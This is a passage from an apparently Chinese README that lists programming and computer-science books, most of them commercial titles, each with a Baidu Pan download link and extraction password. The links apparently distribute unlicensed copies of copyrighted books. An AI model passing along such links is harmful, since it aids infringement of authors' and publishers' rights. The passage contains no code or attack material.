[百度云下载链接](https://pan.baidu.com/s/1aLK0Spq0FzmGpuWwaj9mPw) 密码:bxrk - - -### Redis - -- Redis 入门指南 [百度云下载链接](https://pan.baidu.com/s/1dgNSFQ1R8pAejRnfZeSl-Q) 密码:e2sk -- Redis 设计与实现 [百度云下载链接](https://pan.baidu.com/s/1N-0hp0pMFMz2YL16DnGPZg) 密码:spsz -- Redis 深度历险:核心原理与应用实践 [百度云下载链接](https://pan.baidu.com/s/1YchFdEsF7aONNMFWnK50pA) 密码:uzwc -- Redis 实战 [百度云下载链接](https://pan.baidu.com/s/1kyrS3935PIDWnBXB8HuVUA) 密码:otjw -- Redis 入门指南松哥版 [百度云下载链接](https://pan.baidu.com/s/1upM56tYlfwW3vQOVDg-qAA) 密码:iuj9 -- Redis 源代码分析 [百度云下载链接](https://pan.baidu.com/s/1qpMGWYm8KS7yZE3k1ps0pw) 密码:8q33 - -### MongoDB - -- MongoDB 权威指南 [百度云下载链接](https://pan.baidu.com/s/1mTlTzrVG5P-C0iXUz780Fg) 密码:zivs -- MongoDB实战(第二版) [百度云下载链接](https://pan.baidu.com/s/1M2kPlol1eBE6E2vvqvGl1Q) 密码:bhxe - - - -## 并发编程 - -- Java 并发编程之美 [百度云下载链接](https://pan.baidu.com/s/10pg_01vlYJdNqT5fzt6KAA) 密码:hrgi -- 精通 Java 并发编程 [百度云下载链接](https://pan.baidu.com/s/1rOs_w-KndCstW8bigfqIrg) 密码:ld0w -- 深入浅出 Java 多线程 [百度云下载链接](https://pan.baidu.com/s/11Z-IfAPEZNFWp_mAtqDIKw) 密码:drjx -- 实战 Java 高并发程序设计 [百度云下载链接](https://pan.baidu.com/s/1BBV1pMVA6IvaptoHfOWyyg) 密码:usiw -- Java 并发编程实战 [百度云下载链接](https://pan.baidu.com/s/1b9TPRXXh_pgGGx_6DOSyRg) 密码:r0ay -- Java 并发编程的艺术 [百度云下载链接](https://pan.baidu.com/s/17kbudrARlSj17JzqWDuJlQ) 密码:x8b7 -- Java 多线程编程实战指南 [百度云下载链接](https://pan.baidu.com/s/1kni5irEBAE-fen2VkjKc6w) 密码:v31b - -## JVM - -- 深入理解 Java 虚拟机-周志明 [百度云下载链接](https://pan.baidu.com/s/1Qr9Z2uHc6YO3NZKuG66Ejw) 密码:2qgg -- 深入理解 Java 虚拟机总结 [百度云下载链接](https://pan.baidu.com/s/12rhEuLhv_9wXha1Ehm6Tgg) 密码:ixev -- 深入理解 Java 内存模型 [百度云下载链接](https://pan.baidu.com/s/19LNAAX9S282D0W0tt-cbMQ) 密码:k3c6 -- 实战 Java 虚拟机 JVM 故障诊断与性能优化 [百度云下载链接](https://pan.baidu.com/s/1oOozhf6F0V9c817e59BbPQ) 密码:jzd7 -- Java JDK 学习笔记 [百度云下载链接](https://pan.baidu.com/s/1g-FsMSsPipStu_XIszLLVQ) 密码:9o05 - - -## 性能优化 - -- 修改代码的艺术 [百度云下载链接](https://pan.baidu.com/s/1H-RBuouZd9hmZV8gE9rvTA) 密码:eg5x -- 编写高质量代码:改善 Java 程序的 151 个建议 [百度云下载链接](https://pan.baidu.com/s/1ZoRs8Htl2Vzeixb9g7Uuog) 密码:hlnn -- 代码整洁之道 [百度云下载链接](https://pan.baidu.com/s/14eaBwPRlMB2mha2VOnK0AA) 密码:ghyd -- 代码之美精选版 [百度云下载链接](https://pan.baidu.com/s/1Q0yHUp4wPSyNp15tprytkQ) 密码:zlxp -- 码出高效:Java 开发手册 [百度云下载链接](https://pan.baidu.com/s/1UbWHgkRaFNdWagb8Yla0zg) 密码:uiok -- 嵩山版阿里巴巴 Java 开发手册 [百度云下载链接](https://pan.baidu.com/s/1iBVFWUPuJNFEBfG8cmd-aA) 密码:pplh -- 重构 [百度云下载链接](https://pan.baidu.com/s/10pbMKNJ25yqmh_9gHUsdhQ) 密码:ksqr -- Effective Java [百度云下载链接](https://pan.baidu.com/s/1ZtFezy_FivGlR2qdk2GEOg) 密码:y6ur -- Java 程序性能优化 [百度云下载链接](https://pan.baidu.com/s/1fMrfm8Ky-MpQnYpKnN4X5g) 密码:b8w7 -- Java 程序员修炼之道 [百度云下载链接](https://pan.baidu.com/s/1GFXHN4mewIEoLOTd-DnwUg) 密码:wvx1 -- Java 工程师修炼之道 [百度云下载链接](https://pan.baidu.com/s/1OqR5u8mUvPP7xtnPFCxtag) 密码:gmlu -- Java 性能权威指南 [百度云下载链接](https://pan.baidu.com/s/1BY9TXv2yxaEmf_COP0ZqrA) 密码:0av5 -- JVM 性能优化 [百度云下载链接](https://pan.baidu.com/s/1dhlXwXEBCAebBCICT_BawA) 密码:enbu -- Tomcat 性能优化 [百度云下载链接](https://pan.baidu.com/s/1qOg3QaIKHMc7TXguukadUA) 密码:388n -- Oracle 性能优化求生指南 [百度云下载链接](https://pan.baidu.com/s/1GRFYQz8L_EttDpI8glXatA) 密码:bcgd -- MySQL 性能优化的 21 个最佳实践 [百度云下载链接](https://pan.baidu.com/s/1tZXhFVRvjh5Ph0aBsXYASA) 密码:ex1h - -## 设计模式 - -- 23 种设计模式知识要点 [百度云下载链接](https://pan.baidu.com/s/1wBw49oxHGcqEEVZBdy8u8A) 密码:w55h -- 大话设计模式 [百度云下载链接](https://pan.baidu.com/s/1IUQ5f9fBusPAbaLyh3jztQ) 密码:909m -- 设计模式:可复用面向对象软件的基础 [百度云下载链接](https://pan.baidu.com/s/1slrm1KYHCeHmQKPROa5Veg) 密码:rdgw -- 设计模式之禅 [百度云下载链接](https://pan.baidu.com/s/18joTXLSy6kl6i7qhBGVRtg) 密码:x0wx -- 深入浅出设计模式 [百度云下载链接](https://pan.baidu.com/s/1BEkq5XVOwEIP2MEuv4yh6w) 密码:yuvv -- Head First 设计模式 [百度云下载链接](https://pan.baidu.com/s/1AcfqcEJQ2aGck4WfmOIz4Q) 密码:gkn5 - -## 操作系统 - -- 操作系统核心知识点 [百度云下载链接](https://pan.baidu.com/s/13bKplAS_7q0LwqpE7C4l6w) 密码:3rp1 -- 给操作系统捋条线 [百度云下载链接](https://pan.baidu.com/s/1aNO_diSH29zpyEWO6wr4ag) 密码:eek5 -- 深入理解计算机系统 [百度云下载链接](https://pan.baidu.com/s/1RRrLvVfGKMIthqadwL2Cjg) 密码:819r -- Linux 与 Unix shell 编程指南 [百度云下载链接](https://pan.baidu.com/s/1L1xEssb5igRaFz4ZAyWlmA) 密码:z79w -- 操作系统原理 [百度云下载链接](https://pan.baidu.com/s/19ZGi-jo_By8TIy--Z7q1ug) 密码:4llf -- 操作系统之哲学原理 [百度云下载链接](https://pan.baidu.com/s/10EIel9WzvN3UwAR64IJ2FQ) 密码:0jj6 -- 程序是怎样跑起来的 [百度云下载链接](https://pan.baidu.com/s/1o0yOnfWkGDSV_M5GfVu1Lw) 密码:wa9c -- 计算机是怎样跑起来的 [百度云下载链接](https://pan.baidu.com/s/1uLWHE8dT8-T73rKKt3BgXg) 密码:mnvn -- 认识操作系统 [百度云下载链接](https://pan.baidu.com/s/1oNMbvR0fb7_LP7lIK2KTLw) 密码:2sm9 -- Windows 内核原理与实现 [百度云下载链接](https://pan.baidu.com/s/13G3jzzT5IbFoL0T5lLHa1Q) 密码:lpv9 -- 现代操作系统原书 [百度云下载链接](https://pan.baidu.com/s/130w-HDkE37XijQ6yvyHDdw) 提取码:7673 -- 现代操作系统原理与实现 [百度云下载链接](https://pan.baidu.com/s/1kTKAOI1ewjN9HD8qv8OEnA) 密码:6bsn -- 计算机系统概论 [百度云下载链接](https://pan.baidu.com/s/1ZvkuSCoOP4XezzlJSyd07Q) 密码:xudx - -### Linux基础知识 - -- 鸟哥的 Linux 私房菜 [百度云下载链接](https://pan.baidu.com/s/1bRk0exP_8sVGwSGaZ8k8rw) 密码:yzsl -- 循序渐进Linux(第2版) [百度云下载链接](https://pan.baidu.com/s/18UplmU68Z_5nmpfzp-UG5Q) 密码:tney -- Linux 程序设计 [百度云下载链接](https://pan.baidu.com/s/1hcYZfNBPR5GtZnRZd3u6LA) 密码:cems -- Linux 命令行与 shell 脚本编程大全 [百度云下载链接](https://pan.baidu.com/s/1MZMxMiB52t_xO5OPHrLtlg) 密码:tr5u - - -### Linux环境编程 - -- Linux-Unix 系统编程手册 [百度云下载链接](https://pan.baidu.com/s/1WC2CuSMtozOljYGw9g6YJQ) 密码:7i9n -- Linux 高性能服务器编程 [百度云下载链接](https://pan.baidu.com/s/1VjqeBL8ez2nsdKuwIn_r2A) 密码:xupv -- Unix 环境高级编程 [百度云下载链接](https://pan.baidu.com/s/1GBakpBUCPujaLMMeXOU1Fg) 密码:6d05 - -### Linux内核 - -- 深入理解 Linux 内核 [百度云下载链接](https://pan.baidu.com/s/1HPDJYuDd82mzq8aKLIYY9g) 密码:imav -- 深入 Linux 内核架构 [百度云下载链接](https://pan.baidu.com/s/1p-R31fBFdYTIonnrBFMPTg) 密码:vnhj -- Linux 内核源代码情景分析 [百度云下载链接](https://pan.baidu.com/s/1wjIi4vsR2RBdBz_fjC-LTw) 密码:o08i -- Linux内核完全注释(附linux0.11内核源码,超全注释) [百度云下载链接](https://pan.baidu.com/s/1LSM5C2ANvzj45aEHaXCg3Q) 密码:4azv - -## 计算机网络 - -- 计算机网络-自顶向下方法 [百度云下载链接](https://pan.baidu.com/s/1wDRlqZgo_IUEai5RjUKx9A) 密码:d3tj -- 图解 HTTP [百度云下载链接](https://pan.baidu.com/s/1buPNAvx1djiyVjkha0nPbw) 密码:45aw -- 图解 TCP IP [百度云下载链接](https://pan.baidu.com/s/13pwXK91MskfgDPlzj-pUIA) 密码:2qe9 -- 网络是怎样连接的 [百度云下载链接](https://pan.baidu.com/s/10mCqiqHjueth300umcz3xw) 密码:p8l7 -- HTTP 超全混总 [百度云下载链接](https://pan.baidu.com/s/13DQcN37Yy9tPNXpSrLxr5A) 密码:412z -- Java2 网络协议内幕 [百度云下载链接](https://pan.baidu.com/s/1eJvrinuoVk_lT245e7ujIQ) 密码:pwml -- TCPIP 详解 [百度云下载链接](https://pan.baidu.com/s/1n_mtvEgEEZJ40IM0WO6LAw) 密码:q7cg -- TCP IP 网络编程 [百度云下载链接](https://pan.baidu.com/s/1McM3rjEYgHo769d5GC66Mg) 密码:vrlt -- HTTP权威指南 [百度云下载链接](https://pan.baidu.com/s/1YkZ7r64JgEN5nSJUA9f9Dg) 密码:o0gn - -### Linux网络编程 - -- Linux 多线程服务端编程 [百度云下载链接](https://pan.baidu.com/s/1I8kSa7h8_5ws5A40Op4ogw) 密码:2rp4 -- Unix 网络编程 [百度云下载链接](https://pan.baidu.com/s/1ofZd_xMY8053lfbJFaUqLQ) 密码:6c3l -- 深入理解 Linux 网络技术内幕 [百度云下载链接](https://pan.baidu.com/s/1g5HdrZU2_gi49-QAJr2jGw) 密码:xrjs - -### wireshark - -- Wireshark数据包分析实战 [百度云下载链接](https://pan.baidu.com/s/1cit9gebAAGdPYUiu7ufJSA) 密码:by6w -- Wireshark网络分析的艺术 [百度云下载链接](https://pan.baidu.com/s/1kwr6epwAoxO9ynawHqs41w) 密码:12h5 -- Wireshark网络分析就这么简单 [百度云下载链接](https://pan.baidu.com/s/1XasAxkoppdqJ09jxhqg8Kw) 密码:166d - -## 数据结构与算法 - -- 啊哈算法 [百度云下载链接](https://pan.baidu.com/s/1h4HLGGh6ib5eQQqztLug6g) 密码:txid -- 编程珠玑 [百度云下载链接](https://pan.baidu.com/s/1mwRuLWn0VL8HmjRsZey68A) 密码:2tv6 -- 编程珠玑续 [百度云下载链接](https://pan.baidu.com/s/1bxUlp06FYhveBtGaBnYlDA) 密码:me0y -- 大话数据结构 [百度云下载链接](https://pan.baidu.com/s/11juOUZLPELW1B6tz_swgsA) 密码:i70v -- 趣学算法 [百度云下载链接](https://pan.baidu.com/s/19jvWZNlCPr94U3g2T58tXA) 密码:qv4y -- 数据结构与算法分析-Java 描述 [百度云下载链接](https://pan.baidu.com/s/1eTCJ8U6xlBcRK8h1snSVCA) 密码:b0l2 -- 数字图像处理-Java 语言算法描述 [百度云下载链接](https://pan.baidu.com/s/1T7bsJQhHENkApmYkrjvRNA) 密码:7v5n -- 算法 [百度云下载链接](https://pan.baidu.com/s/15B0UQdEgsllZBDutYIm-jg) 密码:9m6f -- 算法导论 [百度云下载链接](https://pan.baidu.com/s/106O2J5EQfLwbimUt7hg-tw) 密码:n4fn -- 算法图解 [百度云下载链接](https://pan.baidu.com/s/1RhdhLcX3hmE0wvNHxgXOAw) 密码:685s -- Java 常用算法 [百度云下载链接](https://pan.baidu.com/s/1NUvhGjiNW28X27-qXCM9Xg) 密码:ybvr -- Java 数据结构和算法 [百度云下载链接](https://pan.baidu.com/s/1d8gX-_4iyayZO_PXZwK9sw) 密码:qupj -- BAT LeetCode 刷题手册 [百度云下载链接](https://pan.baidu.com/s/12RT8pRk6OUNa1PuYkqZliw) 密码:8w3m - - -## 面试 - -- 2020年字节跳动Java 工程师面试题 [百度云下载链接](https://pan.baidu.com/s/1i0YAOKxUl59wP_9yKbeOKA) 密码:iozq -- Google 师兄的刷题笔记 [百度云下载链接](https://pan.baidu.com/s/1ojBerkBfgMFpYcj-JfDKlw) 密码:5ttz -- BAT面试常问80题 [百度云下载链接](https://pan.baidu.com/s/1l7UnWRdPwoQEINhHUmOmFw) 密码:c54x -- 一线互联网企业面试题 [百度云下载链接](https://pan.baidu.com/s/11Nn8dLzh4npR02FWZSGGbA) 密码:wjrr -- 编程之美 [百度云下载链接](https://pan.baidu.com/s/1sMG_Kp66XVRidLNFNd2Znw) 密码:ng5q -- 程序员面试宝典 [百度云下载链接](https://pan.baidu.com/s/1fFVY_-grQjClqnI22QQXDA) 密码:6rr8 -- 剑指Offer:名企面试官精讲典型编程题 [百度云下载链接](https://pan.baidu.com/s/14knPPFXiEmxivaS3g0V86w) 密码:lbsn -- 程序员代码面试指南 IT名企算法与数据结构题目最优解 [百度云下载链接](https://pan.baidu.com/s/1s1EA_hrzSnVsQYos4N_cYA) 密码:0djm -- 如何刷力扣 [百度云下载链接](https://pan.baidu.com/s/1q9n68HzyjoqnUBnMZxCDQg) 密码:h14s -- 力扣最优解 [百度云下载链接](https://pan.baidu.com/s/1MQwORt4unKtudXXAOxZt-Q) 密码:o28k -- 2020最新Java面试题资料 [百度云下载链接](https://pan.baidu.com/s/1jO64IiD71gSJcTZmSV3GOA) 密码:mlf8 -- 最新Java程序员面试宝典 [百度云下载链接](https://pan.baidu.com/s/1hBU4pIDThFoqjvQY7HnB3g) 密码:u5gh -- JavaGuide 面试突击 [百度云下载链接](https://pan.baidu.com/s/1-vv1FaEIuZCxsz-oemZ91w) 密码:e0p4 -- Java 核心面试知识整理 [百度云下载链接](https://pan.baidu.com/s/1OM0axrB6QFG0bJHbIG6_wA) 密码:387r -- Java面试题以及答案 [百度云下载链接](https://pan.baidu.com/s/1W_1c7Jr2sdsHh3khJ2BCvg) 密码:y4ef -- 面试必问之jvm与性能优化 [百度云下载链接](https://pan.baidu.com/s/1M5w3XrffI4GtK_NBRdJnaQ) 密码:y6iu -- Spring 面试题 [百度云下载链接](https://pan.baidu.com/s/15LVGuBYEkPZH9vvP-CQ48Q) 密码:77ud -- Dubbo 面试题 [百度云下载链接](https://pan.baidu.com/s/1Pe8VB8nQz54Los6L_OP6dg) 密码:cl5a -- 简历模板与优化 [百度云下载链接](https://pan.baidu.com/s/1YtMtFXY6CJjVaajSiV58SA) 密码:1cb0 - -## 大数据 - -- 大数据-涂子沛 [百度云下载链接](https://pan.baidu.com/s/1llTFuMVIMSTQwjhK2BTccw) 密码:xhym -- 数据之巅-涂子沛 [百度云下载链接](https://pan.baidu.com/s/1149U8gltXo6wuOM2DC8Sbg) 密码:gb3t -- Kafaka 权威指南 [百度云下载链接](https://pan.baidu.com/s/1uiP2qd10-M9Fid84tOSk0g) 密码:xb4p -- Spark 快速大数据分析 [百度云下载链接](https://pan.baidu.com/s/1HdD2xENio1d6EzHc8oK9Og) 密码:d9qx -- Spark 快速数据处理 [百度云下载链接](https://pan.baidu.com/s/1zb8FD8qj4hyW6NHIFbWjUw) 密码:xvug -- Hadoop 权威指南 [百度云下载链接](https://pan.baidu.com/s/1dCFa1kOtOB54sx53ERE9TA) 密码:wh8m -- Hadoop 技术内幕 [百度云下载链接](https://pan.baidu.com/s/1JdkjX2cIXsQ-Afh7LFC6-g) 密码:c945 -- 大数据入门指南 [百度云下载链接](https://pan.baidu.com/s/1lu0hEPCsiSdy8rFeqx6sWQ) 密码:tk7a - -## 架构 - -- 大型网站技术架构 核心原理与案例分析 [百度云下载链接](https://pan.baidu.com/s/1BG7ZwCsRWyE2itSYUKcDRA) 密码:r5k1 -- 高性能高并发服务器架构 [百度云下载链接](https://pan.baidu.com/s/1sMzobJctghdh9Q45GcnsWA) 密码:ofa1 -- 架构风格与基于网络的软件架构设计 [百度云下载链接](https://pan.baidu.com/s/1ZIlvrcU6SOAjb_2O60lK3g) 密码:a0lf -- 架构之美 [百度云下载链接](https://pan.baidu.com/s/1R8sBPDnjEOWxst-Spy5FmQ) 密码:lfxq -- 大型网站系统与 Java 中间件实践 [百度云下载链接](https://pan.baidu.com/s/1c7weFVZi1OIAhjb17GEZyw) 密码:tboh -- 亿级流量网站架构核心技术 [百度云下载链接](https://pan.baidu.com/s/15LQ2KMvZ_8tD59WX748zug) 密码:fwer - - -## 扩展 - -### 其他语言 - -#### C - -- 阮一峰 C语言入门教程 [百度云下载链接](https://pan.baidu.com/s/1TjkEdBNjSO-NtWUxa4zeGg) 提取码:epkk -- C程序设计语言(第二版,中文版,B.W.Kernighan、D.M.Ritchie 著) [百度云下载链接](https://pan.baidu.com/s/1MdCMAAiMoHYkanm8cQS4lA) 密码:bzj8 -- C Primer Plus [百度云下载链接](https://pan.baidu.com/s/1EgDS--OsTBH-w4FYREx7Ng) 密码:7qru -- C 和指针 [百度云下载链接](https://pan.baidu.com/s/1txytF0YBRgCIcqNRGvcDpA) 密码:oaum -- C 陷阱与缺陷 [百度云下载链接](https://pan.baidu.com/s/1KwP4A_fMCPbJP9zpUKdSyA) 密码:diao -- C 专家编程 [百度云下载链接](https://pan.baidu.com/s/1XD_Bi0nH7nFF-g_7SGGvcg) 密码:ipzt -- 深度探索 C 对象模型 [百度云下载链接](https://pan.baidu.com/s/1JXIxf_fA0M6rYm3F7Coccg) 密码:z6vp -- 数据结构与算法分析——C 语言描述 [百度云下载链接](https://pan.baidu.com/s/1rCZM79EsH7HJ4YO6CPa3lA) 密码:k7kj - - - -#### C++ - - -- 牛客校招面试题(附答案与解析)c++篇 [百度云下载链接](https://pan.baidu.com/s/18B9DHuYZPgj2mgLb4ETqKA) 密码:h7im -- C++ 面试题库 [百度云下载链接](https://pan.baidu.com/s/1fBLDu3sOw3qaQuWMblac4w) 密码:qhrg -- 大规模 C++程序设计 [百度云下载链接](https://pan.baidu.com/s/11Y6LcTQPCz8rmfaD0IJTlA) 密码:llij -- 深度探索C++对象模型 [百度云下载链接](https://pan.baidu.com/s/1E_dsWgHVov8MGhcuyri96g) 密码:l9l3 -- 深入理解c11新特性解析与应用 [百度云下载链接](https://pan.baidu.com/s/1Jb-b_NS2C2PepVKothvdAA) 密码:g7st -- C++ Primer [百度云下载链接](https://pan.baidu.com/s/1rnQj_3DXjKcFkVn5JUt2Uw) 密码:ehzj -- C++标准程序库—自修教程与参考手册 [百度云下载链接](https://pan.baidu.com/s/14ewwaJogM_5Zr_7wHVmxlg) 密码:bdv2 -- C++性能优化指南 [百度云下载链接](https://pan.baidu.com/s/1Ipx5w6OOprvYcFvZha3FyA) 密码:h94d -- C++语言的设计和演化 [百度云下载链接](https://pan.baidu.com/s/1_iiwDOseqGSUVIu0x_GDOA) 密码:3yx1 -- Effective.Modern.C++ [百度云下载链接](https://pan.baidu.com/s/1WMNsfyZrzweKYEDIX1iw2A) 密码:58u1 -- Effective+STL中文版:50条有效使用STL的经验 [百度云下载链接](https://pan.baidu.com/s/1Ear2KYtUNfKDxAgCFdhzWg) 密码:em3y -- EffectiveC++中文版(第三版) [百度云下载链接](https://pan.baidu.com/s/1Zn7taaphLo7R-o4vg-oOnw) 密码:cu9o -- More Effective C++中文 [百度云下载链接](https://pan.baidu.com/s/1Ux9NwuTTfFGyJuA3qBBYQg) 密码:xlvw -- STL源码剖析--侯捷 [百度云下载链接](https://pan.baidu.com/s/1tdE80_dFPIlddQnQ3rXnSg) 密码:pc9e - -#### JavaScript - -- JavaScript王者归来 [百度云下载链接](https://pan.baidu.com/s/1tr2WtDy55UkOSNzPymh2hA) 密码:xz1j -- 超实用的JavaScript代码段 [百度云下载链接](https://pan.baidu.com/s/1AdtTu9gDB3wdtbU3paA13Q) 密码:s5bz -- 单页Web应用 JavaScript从前端到后端 [百度云下载链接](https://pan.baidu.com/s/18bxyJDR1Yfm1ipXt1Z7Nzg) 密码:dm3c -- 你不知道的JavaScript [百度云下载链接](https://pan.baidu.com/s/1-zbKjTB7rRxMiCvTm8To2A) 密码:z7il -- 实战ES2015深入JavaScript现代应用开发 [百度云下载链接](https://pan.baidu.com/s/1hrdZfo-YDXd06qFekDqbuA) 密码:aigg -- 数据结构与算法JavaScript描述 [百度云下载链接](https://pan.baidu.com/s/1ct9wLoC9WmOXKw5OifhCyw) 密码:dt4g -- ES6深入浅出 [百度云下载链接](https://pan.baidu.com/s/1Fav7yykWsLjZyoV1Oy7pkg) 密码:06ic -- JavaScript DOM编程艺术 [百度云下载链接](https://pan.baidu.com/s/1CJ-tW731ha9DMZZKip6Vww) 密码:9ke7 -- JavaScript.DOM高级程序设计 [百度云下载链接](https://pan.baidu.com/s/1yOkOrksr4w-oxvdPv456AQ) 密码:ug61 -- JavaScript宝典(第6版) [百度云下载链接](https://pan.baidu.com/s/1cPJlU-mCQ_ISHvR8cJ8MXA) 密码:lotv -- JavaScript编程全解 [百度云下载链接](https://pan.baidu.com/s/1T_5XFNm8AU6q8DNqpa4_Ig) 密码:39ee -- JavaScript从入门到精通 [百度云下载链接](https://pan.baidu.com/s/1yRjWOBtf_aBC4CBNC1tJPw) 密码:awbd -- JavaScript高级程序设计(第2版) [百度云下载链接](https://pan.baidu.com/s/1OtRW7gwV-mA0mOft9B6gyQ) 密码:pvkw -- JavaScript捷径教程 [百度云下载链接](https://pan.baidu.com/s/1Pl8VFTiro8r9onr713aAoA) 密码:yzs8 -- JavaScript框架高级编程 [百度云下载链接](https://pan.baidu.com/s/1FHcmx55ViegMvSyRr8MGXA) 密码:glh3 -- Javascript框架设计 [百度云下载链接](https://pan.baidu.com/s/1EDgb1Zy04J-1EyG0dYhE_w) 密码:rk3a -- JavaScript面向对象编程指南 [百度云下载链接](https://pan.baidu.com/s/1dKe4cZOfRbKJ7wScsTNOEQ) 密码:g63p -- JavaScript启示录 [百度云下载链接](https://pan.baidu.com/s/1IO6t3bAFROetqFLo9cGRDA) 密码:20r5 -- JavaScript权威指南第六版 [百度云下载链接](https://pan.baidu.com/s/1CYRAHyAeeHV_TWisCXjl2Q) 密码:3j90 -- JavaScript入门经典(第3版) [百度云下载链接](https://pan.baidu.com/s/1n87Y7I2jZTOnemU5Rx2ugQ) 密码:g9xm -- JAVASCRIPT设计模式 [百度云下载链接](https://pan.baidu.com/s/1l03QQ7Cdlqk_xLxU-HKmRA) 密码:7xvl -- ppk谈JavaScript [百度云下载链接](https://pan.baidu.com/s/1ICbv98caRDhwrZyIxHsHOA) 密码:99q9 -- JavaScript语言精髓与编程实践 [百度云下载链接](https://pan.baidu.com/s/1inQkDb-56BvKtGNqlfUtFg) 密码:omr4 -- JavaScript语言精粹 [百度云下载链接](https://pan.baidu.com/s/1leL0I7j0PCU02LJnWLImDw) 密码:h347 -- JavaScript 异步编程 [百度云下载链接](https://pan.baidu.com/s/1fKQnAtwGP8UryU2iBJtkoQ) 密码:xeab -- JavaScript 开发技术大全 [百度云下载链接](https://pan.baidu.com/s/1EiJw6t5JzyGEMglYlCn_pw) 密码:5tdd - - -#### Python - -- Python+Cookbook第三版中文v2.0.0 [百度云下载链接](https://pan.baidu.com/s/1Ennpp7F3gg3pRTWYGuR03w) 密码:y68v -- 编程小白的第一本Python入门书 [百度云下载链接](https://pan.baidu.com/s/1SVdn7RLV356M31hzRSsZ8A) 密码:n8d8 -- 可爱的Python_中文版 [百度云下载链接](https://pan.baidu.com/s/1zQ1XQT8GBHE1WFFSs9AD6A) 密码:o6cf -- 利用Python进行数据分析 [百度云下载链接](https://pan.baidu.com/s/11COVDXzwN6V8gA_fYSyk-A) 密码:08zf -- 深入浅出:使用Python编程 [百度云下载链接](https://pan.baidu.com/s/1A8yRf3YnvQDtqHVgScxEIA) 密码:vyya -- 用Python进行自然语言处理 [百度云下载链接](https://pan.baidu.com/s/1L2tLjc8YVCPB7z25QJ5fMw) 密码:0sx5 -- Python高性能编程 [百度云下载链接](https://pan.baidu.com/s/1wDvUIpojRXcAnOmqXqS9ng) 密码:j4js -- Python编程:从入门到实践 [百度云下载链接](https://pan.baidu.com/s/15tazEGOw0LFMBadAwHxAkA) 密码:rchj -- Python+Web开发:测试驱动方法 [百度云下载链接](https://pan.baidu.com/s/1hsvFK6A2KyMv-kl8vOkJgQ) 密码:pfmk -- python-basic [百度云下载链接](https://pan.baidu.com/s/1HnvvPVhFTM_pOvAPXKLCgQ) 密码:te3f -- byte-of-python-chinese-edition [百度云下载链接](https://pan.baidu.com/s/1U3jYMZWjrv46Ynad6rDKuw) 密码:uzip -- Python基础教程(第2版) [百度云下载链接](https://pan.baidu.com/s/1PAfKDo81oEkghxX-3rpVBw) 密码:r8qx -- Python进阶-v1.1 [百度云下载链接](https://pan.baidu.com/s/19DjzEHuTk9RNKLRL8BoOcw) 密码:x6tf -- Python核心编程(第二版) [百度云下载链接](https://pan.baidu.com/s/1ifm0-jQh2373ew8tqgdjjQ) 密码:4nkr -- Python最佳实践指南(中) [百度云下载链接](https://pan.baidu.com/s/1PGvnGLZEGFbgBd52BakMYg) 密码:aldu -- PYTHON自然语言处理【中文版】 [百度云下载链接](https://pan.baidu.com/s/1HCfXl14MhTAOZVN1dxK3jw) 密码:3tgu -- Python源码剖析(陈儒-2008-电子工业出版) [百度云下载链接](https://pan.baidu.com/s/1rkKpvgtJMjTbbTiIQX3hGw) 密码:s81x -- Python网络数据采集 [百度云下载链接](https://pan.baidu.com/s/1Sms6-YXtRxawftMB-x5grA) 密码:7x8s -- 流畅的 Python [百度云下载链接](https://pan.baidu.com/s/1_HZqWh3niD0HodS7xw1imA) 密码:ssjd - -#### go - -- 学习 go 语言 [百度云下载链接](https://pan.baidu.com/s/1m_3CQ7Jm1yQ6c8ritXYerA) 密码:grvq -- 玩转 go 语言 [百度云下载链接](https://pan.baidu.com/s/1Bi1_n_LN56JuJKDjwNs_Sw) 密码:ymw9 -- go 语言编程 [百度云下载链接](https://pan.baidu.com/s/17ktQRTO7856MDXsiOMFYig) 密码:131i - -#### Android - -- 第一行代码 Android [百度云下载链接](https://pan.baidu.com/s/1Wz30fINgux3wJvyZ3AAZAg) 密码: l5nt - -#### JavaWeb - -- JAVA EE WEB开发实例精解 [百度云下载链接](https://pan.baidu.com/s/1znvbo645zZXHmTtrbDtD3g) 密码:m7l0 -- Java Web入门经典 [百度云下载链接](https://pan.baidu.com/s/1nQNml5wx-v32rz3jp9K8NA) 密码:m8x5 -- Java Web设计模式之道 [百度云下载链接](https://pan.baidu.com/s/1Ke_sK5MCn9s0CnaUHMsgOQ) 密码:khgy -- Java_Web轻量级开发全体验 [百度云下载链接](https://pan.baidu.com/s/10wFCdQzTMwEm-rGfplbVTw) 密码:9x7q -- Java.Web开发学习手册 [百度云下载链接](https://pan.baidu.com/s/1SGEzUqgwQra1jRiYUCz9Pw) 密码:lxu8 - -#### JSP - -- JSP 程序设计 [百度云下载链接](https://pan.baidu.com/s/1ANZa0Ng0wOgSnYd1HDj1HA) 密码:o8im -- JSP 技术手册 [百度云下载链接](https://pan.baidu.com/s/1TKF8IJiU25YThZiZcShKTw) 密码:a6pw -- JSP 应用开发详解 [百度云下载链接](https://pan.baidu.com/s/1An7emgwgoWD7lI8-jQLxhQ) 密码:7myk -- Servlet 和 JSP 学习指南 [百度云下载链接](https://pan.baidu.com/s/1Y1y7e4Tsy_ZdJg5G3Pdg8g) 密码:mdqy - -#### Kotlin - -- kotlin-in-chinese [百度云下载链接](https://pan.baidu.com/s/1hrfmM1kJqfIhpDV7M8I7vA) 密码:53om -- kotlin-for-android-developers-zh [百度云下载链接](https://pan.baidu.com/s/1C-TJoghcxgtkhfEghjdmUw) 密码:m9nz - -#### groovy - -- groovy 程序设计 [百度云下载链接](https://pan.baidu.com/s/1qTrGCLHaBCTUxLUIVP3BpA) 密码:xmjl - -### DDD - -- 领域驱动设计.软件核心复杂性应对之道 [百度云下载链接](https://pan.baidu.com/s/1-vWWir6sWrGf9bxP6Z6KnQ) 密码:yc7f -- 领域驱动设计精简版 [百度云下载链接](https://pan.baidu.com/s/1YnPwZMmcZfD9n7Vx7L3oYA) 密码:9e3x - -### 区块链 -### 人工智能 -- 机器学习与实战 [百度云下载链接](https://pan.baidu.com/s/1O9q1c7pODoZjZcV1w5QjSg) 密码:buvz - -### 搜索引擎 - -- 开发自己的搜索引擎--Lucene+Heritrix [百度云下载链接](https://pan.baidu.com/s/1HMYDToA5Vujn8MGlmilagw) 密码:h1oi -- SolrJ教程 [百度云下载链接](https://pan.baidu.com/s/1JB5E-x3sdCNOIK483EkAfw) 密码:p0s6 -- Elasticsearch 权威指南 [百度云下载链接](https://pan.baidu.com/s/1e8kWIG6rE6ak3EhyCfTELg) 密码:9m8e -- Elasticsearch 技术解析与实战 [百度云下载链接](https://pan.baidu.com/s/1zFCit5IE7egyC8ArWNdFwQ) 密码:yg98 - -### 网络安全 - -- Java 加密与解密的艺术 